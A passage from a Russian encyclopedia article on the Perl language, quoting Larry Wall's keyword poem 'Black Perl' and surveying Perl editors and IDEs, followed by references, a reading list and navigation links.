В разделе не хватает ссылок на источники (см. рекомендации по поиску).

Информация должна быть проверяема, иначе она может быть удалена. Вы можете отредактировать статью, добавив ссылки на авторитетные источники в виде сносок. (24 сентября 2024)

|

На Perl можно даже писать стихотворения. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина» или «Чёрный перл») было упомянуто Ларри Уоллом в первоапрельском письме в Usenet. Оно было написано изначально для Perl 3, и по словам самого Ларри, он испытал моральное удовлетворение, когда стихотворение не прошло синтаксический анализатор в Perl 5\.

BEFOREHEAD: close door, each window & exit; wait until time.
open spellbook, study, read (scan, select, tell us);
write it, print the hex whole each watches,
reverse its length, write again;
kill spiders, pop them, chop, split, kill them.
unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
kill them, dump qualms, shift moralities,
values aside, each one;
die sheep! die to reverse the system
you accept (reject, respect);
next step,
kill next sacrifice, each sacrifice,
wait, redo ritual until "all the spirits are pleased";
do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
exit crypt (time, times & "half a time") & close it,
select (quickly) & warn your next victim;
AFTERWORDS: tell nobody,
wait, wait until time;
wait until next year, next decade;
sleep, sleep, die yourself,
die at last

## Редакторы

[править | править код]

Специально для Perl-разработчиков на языке Perl с использованием интерфейсной библиотеки wxWidgets написан такой открытый продукт как Padre IDE[англ.] (сокращение от «Perl Application Development and Refactoring Environment» — среда разработки и рефакторинга перл-приложений)[53].

Поддержка Perl включена в такую универсальную IDE, как ActiveState Komodo и её открытую версию Komodo Edit[54]. Для Eclipse поддержка Perl реализована в виде пакета расширений EPIC[53][55]. Обе этих среды в числе прочего включают визуальный отладчик[56]. IntelliJ IDEA и прочие продукты JetBrains поддерживают Perl5 с помощью плагина с открытым исходным кодом — Camelcade.

Поддержка перла в том или ином виде имеется в большинстве текстовых редакторов для программистов, таких как кроссплатформенные Vim[53], Emacs[53], SciTE[53], Gedit[57], Geany, jEdit[57], Sublime Text, или предназначенные для Windows Notepad++[53][57] и PSPad а также такие shareware продукты как UltraEdit & UEStudio от IDM Computer Solutions, Inc. Для Mac OS таким редактором может служить TextMate[53].

Определённой популярностью среди пользователей Windows пользуется также Perl Editor, входящий в линейку специализированных shareware редакторов для программистов от DzSoft[58][59][60]. Был достаточно известен бесплатный редактор Mastak Absolute Perl[61], но его разработка и поддержка прекращены, последняя версия датируется 29 сентября 2003 года[62]. Ещё один отечественный бесплатный perl-редактор для Windows — это Perl Express (последняя версия с русским интерфейсом — 2.4.5 от 2 декабря 2005, с английским — 2.5 от 23 декабря 2005)[63]. Среди других сред разработки, специализированных для Perl следует отметить shareware IDE PerlBuilder[64][65][66] и отечественный редактор Collie Perl Shell 2.0[65][67].

## См. также

[править | править код]

* Python
* PHP
* Perl DBI

## Примечания

[править | править код]

1. ↑ 1 2 3 http://learn.perl.org/faq/perlfaq1.html
2. ↑ 1 2 http://www.perlfoundation.org/
3. ↑ Perl v5.42.0 is now available! — 2025.
4. ↑ CPAN — 1995.
5. ↑ The perl Open Source Project on Open Hub: Licenses Page — 2006.
6. ↑ http://dev.perl.org/licenses/
7. ↑ https://history.perl.org/PerlTimeline.html
8. ↑ 1 2 3 4 5 6 https://www.perl.org/get.html
9. ↑ 1 2 Perl documentation (англ.). Дата обращения: 18 декабря 2016. Архивировано 20 января 2011 года.
10. ↑ What's the difference between "perl" and "Perl"? (англ.). Дата обращения: 18 декабря 2016. Архивировано 12 июля 2012 года.
11. ↑ perlintro(1) man page
12. ↑ Larry Wall, the Guru of Perl | Linux Journal
13. ↑ Larry Wall  (неопр.). Дата обращения: 20 августа 2006. Архивировано из оригинала 12 марта 2006 года.
14. ↑ v13i001: Perl, a "replacement" for awk and sed, Part01/10
15. ↑ Архив списка рассылки perl5-porters  (неопр.). Дата обращения: 24 августа 2010. Архивировано 1 мая 2011 года.
16. ↑ [История языка Perl на сайте perldoc.perl.org (англ.)  (неопр.). Дата обращения: 24 августа 2010. Архивировано 13 января 2011 года. История языка Perl на сайте perldoc.perl.org (англ.)]
17. ↑ CPAN - Comprehensive Perl Archive Network  (неопр.). Дата обращения: 13 июля 2021. Архивировано 3 октября 2019 года.
18. ↑ perl.org CPAN page  (неопр.). Дата обращения: 1 ноября 2010. Архивировано 27 мая 2012 года.
19. ↑ perl56delta — perldoc.perl.org  (неопр.). Дата обращения: 1 ноября 2010. Архивировано 2 февраля 2011 года.
20. ↑ perl561delta — perldoc.perl.org  (неопр.). Дата обращения: 1 ноября 2010. Архивировано 18 ноября 2010 года.
21. ↑ [1]Архивная копия от 23 ноября 2010 на Wayback MachineАрхивная копия от 23 ноября 2010 на Wayback MachineApocalypse 1: The Ugly, the Bad, and the Good — dev.perl.org (англ.)
22. ↑ perl58delta — perldoc.perl.org  (неопр.). Дата обращения: 1 ноября 2010. Архивировано 21 ноября 2010 года.
23. ↑ HaskellWiki  (неопр.). Дата обращения: 1 ноября 2010. Архивировано 11 октября 2006 года.
24. ↑ perldelta: what is new for perl 5.10.0 Архивировано 30 марта 2009 года.
25. ↑ Smart matching in detail Архивировано 18 февраля 2010 года.
26. ↑ perl5120delta — search.cpan.org  (неопр.). Дата обращения: 1 ноября 2010. Архивировано 29 ноября 2010 года.
27. ↑ perl5122delta — search.cpan.org  (неопр.). Дата обращения: 1 ноября 2010. Архивировано 30 ноября 2010 года.
28. ↑ perldelta - what is new for perl v5.12.3 (англ.). Perl 5 version 12.2 documentation. perldoc.perl.org. Дата обращения: 18 декабря 2013. Архивировано 8 июня 2011 года.
29. ↑ 1 2 perldelta - what is new for perl v5.16.0 (англ.). Perl 5 version 16.0 documentation. metacpan.org. Дата обращения: 21 мая 2012. Архивировано из оригинала 28 июля 2020 года.
30. ↑ perl5180delta - what is new for perl v5.18.0 - metacpan.org - Perl programming language  (неопр.). Perl 5 version 18.0 documentation. metacpan.org. Дата обращения: 27 октября 2013. Архивировано 29 октября 2013 года.
31. ↑ Perl 5.20 released (англ.) (27 мая 2014). Дата обращения: 18 декабря 2016. Архивировано из оригинала 27 октября 2016 года.
32. ↑ Perl 5.22 a preview (англ.) (16 апреля 2015). Дата обращения: 18 декабря 2016. Архивировано из оригинала 15 ноября 2016 года.
33. ↑ .Perl 5.24 released (англ.) (9 мая 2016). Дата обращения: 18 декабря 2016. Архивировано из оригинала 24 ноября 2016 года.
34. ↑ Perl 5.26 released (англ.) (30 мая 2017). Дата обращения: 6 июня 2017. Архивировано 3 июня 2017 года.
35. ↑ Perl 5.28.0 released  (неопр.) (14 июля 2021). Дата обращения: 14 июля 2021. Архивировано 14 июля 2021 года.
36. ↑ Script Runs  (неопр.) (16 июля 2021). Дата обращения: 14 июля 2021. Архивировано 14 июля 2021 года.
37. ↑ Perl 5.32.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 13 июля 2021 года.
38. ↑ The Perl Conference in the Cloud (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 10 мая 2021 года.
39. ↑ Announcing Perl 7 (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 24 июня 2020 года.
40. ↑ Announce Perl 5.34.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 4 июня 2021 года.
41. ↑ Perl 5.34.0 released (англ.) (13 июля 2021). Дата обращения: 13 июля 2021. Архивировано 21 июня 2021 года.
42. ↑ Milestones in the Perl Renaissance — Modern Perl Programming Архивная копия от 27 октября 2012 на Wayback Machine. Modernperlbooks.com. Retrieved on 2013-07-17.
43. ↑ Вячеслав Тихановский. Возрождение Perl // Pragmatic Perl. — Март 2013. — Вып. 1. Архивировано 27 сентября 2020 года.
44. ↑ Preface (Modern Perl 2011—2012) Архивная копия от 28 сентября 2012 на Wayback Machine. Modernperlbooks.com. Retrieved on 2013-07-17.
45. ↑ YAPC::NA 2013 — June 3-5, Austin, Texas  (неопр.). Дата обращения: 18 декабря 2013. Архивировано из оригинала 22 июня 2013 года.
46. ↑ [2]Архивная копия от 19 декабря 2013 на Wayback MachineWhat is Moe (a clarification) | Stevan Little [blogs.perl.org&#;
47. ↑ p2 on potion  (неопр.). Дата обращения: 18 декабря 2013. Архивировано 24 сентября 2013 года.
48. ↑ goccy/gperl · GitHub  (неопр.). Дата обращения: 18 декабря 2013. Архивировано 23 февраля 2015 года.
49. ↑ Tom Christiansen, Larry Wall, Brian Foy and Jon Orwant. Ch. 12. Objects. -> The Moose in the Room // Programming Perl: Unmatched Power for Text Processing and Scripting. — O’Reilly, 2012. — P. 453—455. — 1130 p. — ISBN 0596004923, 9780596004927.
50. ↑ moose — A Postmodern Object System for Perl  (неопр.). Дата обращения: 15 ноября 2011. Архивировано 23 ноября 2011 года.
51. ↑ программа из одной строчки на Perl  (неопр.). Дата обращения: 22 апреля 2012. Архивировано 9 мая 2012 года.
52. ↑ perlfaq3 — perldoc.perl.org  (неопр.). Дата обращения: 19 мая 2010. Архивировано 25 мая 2010 года.
53. ↑ 1 2 3 4 5 6 7 Sébastien Aperghis-Tramoni, Damien Krotkine, Philippe Bruhat, Jérôme Quelin. Ch.1 Démarrer avec Perl ⟶ Édites les programmers // Perl moderne. — Pearson Education France, 29 окт. 2010 г.. — С. 4—5. — 446 p. — (Le Guide de survie). — ISBN 9782744024191.
54. ↑ Andy Lester, Richard Foley. Ch. 14. Command LineDebuggers and GUI Debuggers ⟶ ActivePerl Pro Studio // Pro Perl Debugging. — Apress, 27 июля 2005 г. — С. 233. — 296 p. — ISBN 9781430200444.
55. ↑ EPIC — Perl Editor and IDE for Eclipse  (неопр.). Дата обращения: 16 мая 2022. Архивировано 8 мая 2022 года.
56. ↑ brian d foy. Ch 4. Debugging Perl ⟶ Other Debuggers // Mastering Perl. — O’Reilly, 16 июля 2007 г. — P. 64. — 346 p. — ISBN 9780596551476.
57. ↑ 1 2 3 Keith Bradnam, Ian Korf. 2.3 Installing a code editor // UNIX and Perl to the Rescue!: A Field Guide for the Life Sciences (and Other Data-rich Pursuits). — Cambridge University Press,, 19 июля 2012 г. — P. 15. — 428 p. — ISBN 9781107000681.
58. ↑ R. Chris Fraley. Ch. 15. Wrapping it Up // How to Conduct Behavioral Research Over the Internet: A Beginner's Guide to HTML and CGI/Perl. — Guilford Press, 2004. — P. 272. — 299 p. — ISBN 978-1-57230-997-5.
59. ↑ John P. Flynt. Ch 1. Getting Started // Perl Power!: The Comprehensive Guide. — Thomson Course Technology PTR, 2006. — С. 22—24. — 427 p. — ISBN 9781598631616.
60. ↑ DzSoft Perl Editor  (неопр.). Дата обращения: 8 января 2014. Архивировано 8 января 2014 года.
61. ↑ «Мастак.Ру» представил комплексный инструментарий для Perl-разработчиков. CNews. 24 апреля 2002. Архивировано 9 января 2014. Дата обращения: 9 января 2014.
62. ↑ Mastak Absolute Perl Архивная копия от 9 января 2014 на Wayback Machine на SoftPortal
63. ↑ Perl Express Архивная копия от 23 октября 2013 на Wayback Machine — бесплатный Perl-редактор для Windows
64. ↑ Andy Lester, Richard Foley. Ch. 14. Command LineDebuggers and GUI Debuggers ⟶ Perl Builder // Pro Perl Debugging. — Apress, 27 июля 2005 г. — С. 234—235. — 296 p. — ISBN 9781430200444.
65. ↑ 1 2 p4in. Софт для perl-разработчика // Спецвыпуск Xakep. — № 15. Архивировано 26 апреля 2014 года.
66. ↑ Perl Builder 2.0 Архивировано 13 февраля 2014 года.
67. ↑ Collie Perl Shell 2.0 Архивировано 9 января 2014 года.

## Литература

[править | править код]

* Ларри Уолл, Том Кристиансен, Джон Орвант. Программирование на Perl = Programming Perl. — М.: O’Reilly, «Символ», 2008. — 1145 с. — 4500 экз. — ISBN 5-93286-020-0.
* Рэндал Л. Шварц, Том Феникс, Брайан Д. Фой. Изучаем Perl. — М.: O’Reilly, «Символ», 2009. — С. 377. — ISBN 978-5-93286-154-7.
* Рэндал Л. Шварц, Брайан Д. Фой и Том Феникс. Perl: изучаем глубже. — М.: O’Reilly, «Символ», 2007. — С. 320. — ISBN 978-5-93286-093-9.
* Кристиансен, Торкингтон. Perl. Сборник рецептов. Для профессионалов = Perl Cookbook. — М.: O’Reilly, «Питер», 2004. — 928 с. — ISBN 5-94723-855-1.
* Пол Уайтхэд. Perl: наглядный курс программирования = Perl: Your Visual Blueprint for Building Perl Scripts. — М.: «Диалектика», 2001. — 280 с. — ISBN 0-7645-3478-5.
* Линкольн Д. Штайн. Разработка сетевых программ на Perl = Network Programming with Perl. — М.: Addison Wesley, «Вильямс», 2001. — 752 с. — 4000 экз. — ISBN 5-8459-0222-3.
* Learning Perl 6th Edition (2011), O’Reilly. Beginner-level introduction to Perl.
* Beginning Perl 1st Edition (2012), Wrox. A beginner’s tutorial for those new to programming or just new to Perl.
* Modern Perl Архивная копия от 22 декабря 2011 на Wayback Machine 2nd Edition (2012), Onyx Neon. Describes Modern Perl programming techniques.
* Programming Perl 4th Edition (2012), O’Reilly. The definitive Perl reference.
* Effective Perl Programming 2nd Edition (2010), Addison-Wesley. Intermediate- to advanced-level guide to writing idiomatic Perl.
* Perl Cookbook, ISBN 0-596-00313-7. Practical Perl programming examples.
* Dominus, Mark Jason. Higher Order Perl (неопр.). — Morgan Kaufmann, 2005. — ISBN 1-55860-701-3. Functional programming techniques in Perl.

## Ссылки

[править | править код]

В родственных проектах

* Книги в Викиучебнике
* Медиафайлы на Викискладе

* Официальный сайт (англ.)
* www.cpan.org Fрхив библиотек для языка Perl — CPAN (англ.)
* Perldoc — официальная документация Perl (англ.)
* Pragmatic Perl — электронный журнал о современном Perl на русском
*   * Perl в каталоге ссылок Curlie (dmoz)

Ссылки на внешние ресурсы

Тематические сайты

* Open Hub

Словари и энциклопедии|

* Большая каталанская
* Большая норвежская
* Britannica (онлайн)

В библиографических каталогах

* BNE: XX542605
* BNF: 124906490
* GND: 4307836-9
* J9U: 987007532328005171
* LCCN: sh95010633
* NKC: ph117992

Perl

Люди|

* Ларри Уолл
* Рэндел Шварц
* Дэмиэн Конуэй[англ.]
* Эллисон Рэндел[англ.]
* Одри Тан
* Simon Cozens
* chromatic[англ.]
* Адам Кеннеди
* brian d foy[англ.]
* Mark Jason Dominus

Things|

* The Perl Foundation
* Perl Mongers[англ.]
* PerlMonks[англ.]
* архивы
* модули
* Perl VM[англ.]
* Parrot
* YAPC[англ.]
* Bioperl
* Plack[англ.]
* PSGI

Фреймворки|

* Catalyst
* Mason
* Maypole
* Dancer[англ.]
* Moose
* Mojolicious[англ.]

* Outline[англ.]
* Категория

Свободное и открытое программное обеспечение

Главное|

* СПО
* Определение
* Критерии Debian
* Gratis versus libre
* Сравнение хостингов СПО
* Открытое ПО
* Определение
* Определение свободных произведений культуры
* Дистрибутив Linux
* Сравнение ПО с открытым и закрытым кодом[англ.]

Сообщество|

* Движение СПО
* История
* GNU
* Linux
* Open-source-software movement[англ.]
* организации[англ.]
* Linux-конференции

Организации|

* ASF
* Blender Foundation
* Eclipse Foundation
* FreeBSD Foundation[англ.]
* freedesktop.org
* FSF
* FSMI
* GNOME Foundation
* Проект GNU
* Google Code
* KDE e.V.
* Linux Foundation
* Mozilla Foundation
* OSGF[англ.]
* OSI
* Software Freedom Conservancy
* SourceForge
* The Document Foundation
* Xiph.Org
* XMPP Standards Foundation
* X.Org Foundation

Лицензии|

* Apache
* Artistic[англ.]
* Beerware
* BSD
* GNU GPL
* GNU LGPL
* ISC
* MIT
* MPL
* Ms-PL/RL
* zlib
* Public domain / CC0
* WTFPL
* Разрешительные лицензии
* Apple Public Source License
* Python Software Foundation License
* Копилефт

Проблемы|

* Разнообразие лицензий
* Безопасность[англ.]
* Блоб
* Программные патенты
* DRM
* Тивоизация
* Trusted Computing
* Конфликт SCO — Linux

Прочее|

* Сообщество
* Форк
* Microsoft Open Specification Promise[англ.]
* Проприетарное ПО
* Собор и Базар
* Ради удовольствия
* Revolution OS

* Категория
* Викисклад
* Портал

*[М.]: Москва